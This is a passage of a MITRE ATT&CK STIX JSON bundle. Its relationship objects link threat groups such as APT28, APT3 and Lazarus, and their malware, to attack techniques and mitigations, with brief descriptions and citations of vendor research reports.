            "id": "relationship--bdac804d-9081-4dae-8bc7-877c771e5d72",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--97d8eadb-0459-4c1d-bf1a-e053bd75df61",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7",
            "type": "relationship",
            "modified": "2020-03-11T14:19:57.047Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7db7f665-6e29-4789-8a3d-d6cb8d0af31e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GCMAN](https://attack.mitre.org/groups/G0036) uses Putty for lateral movement.(Citation: Securelist GCMAN)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist GCMAN",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.",
                    "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
                }
            ],
            "source_ref": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
            "type": "relationship",
            "modified": "2020-03-17T16:53:09.934Z",
            "created": "2017-05-31T21:33:27.071Z"
        },
        {
            "id": "relationship--762f85a3-0120-4b09-aafd-3f460764e85f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
            "relationship_type": "uses",
            "target_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html",
                    "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "source_name": "Moran 2013"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html",
                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
                    "source_name": "Moran 2014"
                }
            ],
            "description": "(Citation: Moran 2013)(Citation: Moran 2014)",
            "type": "relationship",
            "modified": "2019-06-10T19:28:01.000Z",
            "created": "2017-05-31T21:33:27.034Z"
        },
        {
            "id": "relationship--78e60088-f7bf-42bd-92f4-1880f755e363",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Honeybee](https://attack.mitre.org/groups/G0072)'s service-based DLL implant can execute a downloaded file with parameters specified using <code>CreateProcessAsUser</code>.(Citation: McAfee Honeybee)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/",
                    "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.",
                    "source_name": "McAfee Honeybee"
                }
            ],
            "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c",
            "type": "relationship",
            "modified": "2020-04-16T19:41:40.432Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--847752f4-59a2-46e9-ae28-befe0142b223",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on network settings and Internet proxy settings from the victim.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T01:22:53.941Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9066dcee-7c80-429c-a5cc-77458e891349",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting tools wmiexec.vbs and secretsdump.py to dump credentials.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "source_name": "Github AD-Pentest-Script",
                    "description": "Twi1ight. (2015, July 11). AD-Pentest-Script - wmiexec.vbs. Retrieved June 29, 2017.",
                    "url": "https://github.com/Twi1ight/AD-Pentest-Script/blob/master/wmiexec.vbs"
                }
            ],
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                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia",
                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "source_name": "Symantec Orangeworm April 2018"
                }
            ],
            "description": "(Citation: Symantec Orangeworm April 2018)",
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            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012)'s selective infector modifies executables stored on removable media as a method of spreading across computers.(Citation: Kaspersky Darkhotel)",
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.",
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                    "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html",
                    "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.",
                    "source_name": "FireEye EPS Awakens Part 2"
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            "description": "(Citation: FireEye EPS Awakens Part 2)",
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            "description": "The [Axiom](https://attack.mitre.org/groups/G0001) group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate.",
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            "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload uses process hollowing to hide the UAC bypass vulnerability exploitation inside svchost.exe.(Citation: Cymmetria Patchwork)",
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                    "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.",
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                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
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                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
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            "description": "[DOGCALL](https://attack.mitre.org/software/S0213) is capable of capturing screenshots of the victim's machine.(Citation: FireEye APT37 Feb 2018)(Citation: Unit 42 Nokki Oct 2018)",
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                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "source_name": "FireEye APT37 Feb 2018"
                },
                {
                    "source_name": "Unit 42 Nokki Oct 2018",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/",
                    "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018."
                }
            ],
            "source_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d",
            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) replaces the Sticky Keys binary <code>C:\\Windows\\System32\\sethc.exe</code> for persistence.(Citation: aptsim)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html",
                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
                    "source_name": "aptsim"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.215Z",
            "created": "2018-01-16T16:13:52.465Z"
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            "description": "[Carbanak](https://attack.mitre.org/groups/G0008) has named malware \"svchost.exe,\" which is the name of the Windows shared service host program.(Citation: Kaspersky Carbanak)",
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                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "source_name": "Kaspersky Carbanak"
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            ],
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "relationship_type": "uses",
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) has downloaded additional files, including by using a first-stage downloader to contact the C2 server to obtain the second-stage implant.(Citation: Bitdefender APT28 Dec 2015)(Citation: Unit 42 Playbook Dec 2017)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: TrendMicro Pawn Storm Dec 2020) ",
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                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                },
                {
                    "url": "https://pan-unit42.github.io/playbook_viewer/",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "source_name": "Unit 42 Playbook Dec 2017"
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."
                },
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
                }
            ],
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            "relationship_type": "uses",
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                    "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.",
                    "source_name": "Unit 42 RGDoor Jan 2018"
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            "description": "(Citation: Unit 42 RGDoor Jan 2018)",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Deep Panda](https://attack.mitre.org/groups/G0009) group is known to utilize WMI for lateral movement.(Citation: Alperovitch 2014)",
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            "type": "relationship",
            "modified": "2019-03-22T20:09:34.670Z",
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            "type": "relationship",
            "modified": "2021-02-09T14:09:00.861Z",
            "created": "2017-05-31T21:33:27.018Z"
        },
        {
            "id": "relationship--2344234d-d1e3-433f-a43b-0225b4e4889c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has injected SMB URLs into malicious Word spearphishing attachments to initiate [Forced Authentication](https://attack.mitre.org/techniques/T1187).(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)",
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                {
                    "source_name": "US-CERT TA18-074A",
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                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
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                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Dec 2017"
                }
            ],
            "description": "(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Dec 2017)",
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            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) leveraged the DDE protocol to deliver their malware.(Citation: TrendMicro Patchwork Dec 2017)",
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                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html",
                    "description": "Smith, L. and Read, B.. (2017, August 11). APT28 Targets Hospitality Sector, Presents Threat to Travelers. Retrieved August 17, 2017.",
                    "source_name": "FireEye APT28 Hospitality Aug 2017"
                },
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."
                }
            ],
            "description": "(Citation: FireEye APT28 Hospitality Aug 2017)(Citation: US District Court Indictment GRU Oct 2018) ",
            "type": "relationship",
            "modified": "2020-10-06T19:05:11.587Z",
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        {
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            "source_ref": "course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145",
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            "description": "[JPIN](https://attack.mitre.org/software/S0201) can obtain system information such as OS version and disk space.(Citation: Microsoft PLATINUM April 2016)",
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            ],
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                {
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                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
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            "description": "[APT37](https://attack.mitre.org/groups/G0067) has sent spearphishing attachments attempting to get a user to open them.(Citation: FireEye APT37 Feb 2018)",
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                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
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            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
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            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used <code>net user</code> to conduct internal discovery of systems.(Citation: SecureWorks BRONZE UNION June 2017)",
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                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
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            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) enables the Remote Desktop Protocol for persistence.(Citation: aptsim) [APT3](https://attack.mitre.org/groups/G0022) has also interacted with compromised systems to browse and copy files through RDP sessions.(Citation: Twitter Cglyer Status Update APT3 eml)",
            "object_marking_refs": [
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                {
                    "source_name": "aptsim",
                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"
                },
                {
                    "source_name": "Twitter Cglyer Status Update APT3 eml",
                    "description": "Glyer, C. (2018, April 14). @cglyer Status Update. Retrieved October 11, 2018.",
                    "url": "https://twitter.com/cglyer/status/985311489782374400"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2020-03-27T20:16:14.163Z",
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            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can perform keylogging.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)",
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                {
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                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                },
                {
                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
                    "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T15:53:20.410Z",
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            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
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                {
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "source_name": "Forcepoint Monsoon"
                }
            ],
            "description": "(Citation: Forcepoint Monsoon)",
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            "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) accessed email accounts using Outlook Web Access.(Citation: US-CERT APT Energy Oct 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A",
                    "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.",
                    "source_name": "US-CERT APT Energy Oct 2017"
                }
            ],
            "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
            "type": "relationship",
            "modified": "2020-03-17T16:21:07.531Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used automated collection.(Citation: Unit 42 Playbook Dec 2017)",
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            ],
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                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2019-09-04T22:55:40.734Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Group5](https://attack.mitre.org/groups/G0043) C2 servers communicated with malware over TCP 8081, 8282, and 8083.(Citation: Citizen Lab Group5)",
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            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Group5",
                    "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.",
                    "url": "https://citizenlab.ca/2016/08/group5-syria/"
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            ],
            "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-07-25T17:52:06.517Z",
            "created": "2017-05-31T21:33:27.079Z"
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        {
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            "description": "[Elise](https://attack.mitre.org/software/S0081) exfiltrates data using cookie values that are Base64-encoded.(Citation: Lotus Blossom Jun 2015)",
            "object_marking_refs": [
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                {
                    "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html",
                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
                    "source_name": "Lotus Blossom Jun 2015"
                }
            ],
            "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:11:18.497Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--cae6bbd0-d00e-4cc4-872a-d3ac9cc97684",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has used the command-line interface.(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)",
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            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                },
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T18:52:24.076Z",
            "created": "2018-04-18T17:59:24.739Z"
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            "description": "[Bisonal](https://attack.mitre.org/software/S0268) can execute <code>ipconfig</code> on the victim\u2019s machine.(Citation: Unit 42 Bisonal July 2018)",
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                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-03-17T00:24:48.608Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
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            "source_ref": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc",
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            "type": "relationship",
            "modified": "2020-03-30T13:36:10.384Z",
            "created": "2018-01-16T16:13:52.465Z"
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            "description": "[APT3](https://attack.mitre.org/groups/G0022) will identify Microsoft Office documents on the victim's computer.(Citation: aptsim)",
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            ],
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                {
                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html",
                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
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                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-04-29T18:01:20.238Z",
            "created": "2018-01-16T16:13:52.465Z"
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            "description": "[Rancor](https://attack.mitre.org/groups/G0075) has attached a malicious document to an email to gain initial access.(Citation: Rancor Unit42 June 2018)",
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            ],
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                {
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                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
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            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware WhiskeyDelta-Two contains a function that attempts to rename the administrator\u2019s account.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Destructive Malware"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27",
            "type": "relationship",
            "modified": "2019-09-09T19:15:44.601Z",
            "created": "2017-05-31T21:33:27.066Z"
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) has delivered [JHUHUGIT](https://attack.mitre.org/software/S0044) and [Koadic](https://attack.mitre.org/software/S0250) by executing PowerShell commands through DDE in Word documents.(Citation: McAfee APT28 DDE1 Nov 2017)(Citation: McAfee APT28 DDE2 Nov 2017)(Citation: Palo Alto Sofacy 06-2018)",
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                    "description": "Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.",
                    "source_name": "McAfee APT28 DDE1 Nov 2017"
                },
                {
                    "source_name": "McAfee APT28 DDE2 Nov 2017",
                    "description": "Paganini, P. (2017, November 9). Russia-Linked APT28 group observed using DDE attack to deliver malware. Retrieved November 21, 2017.",
                    "url": "http://securityaffairs.co/wordpress/65318/hacking/dde-attack-apt28.html"
                },
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
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            "type": "relationship",
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            "type": "relationship",
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                {
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            ],
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            "type": "relationship",
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            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1",
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                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "description": "(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
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        {
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) has saved files with hidden file attributes.(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Seduploader Oct 2017",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."
                },
                {
                    "source_name": "Talos Seduploader Oct 2017",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
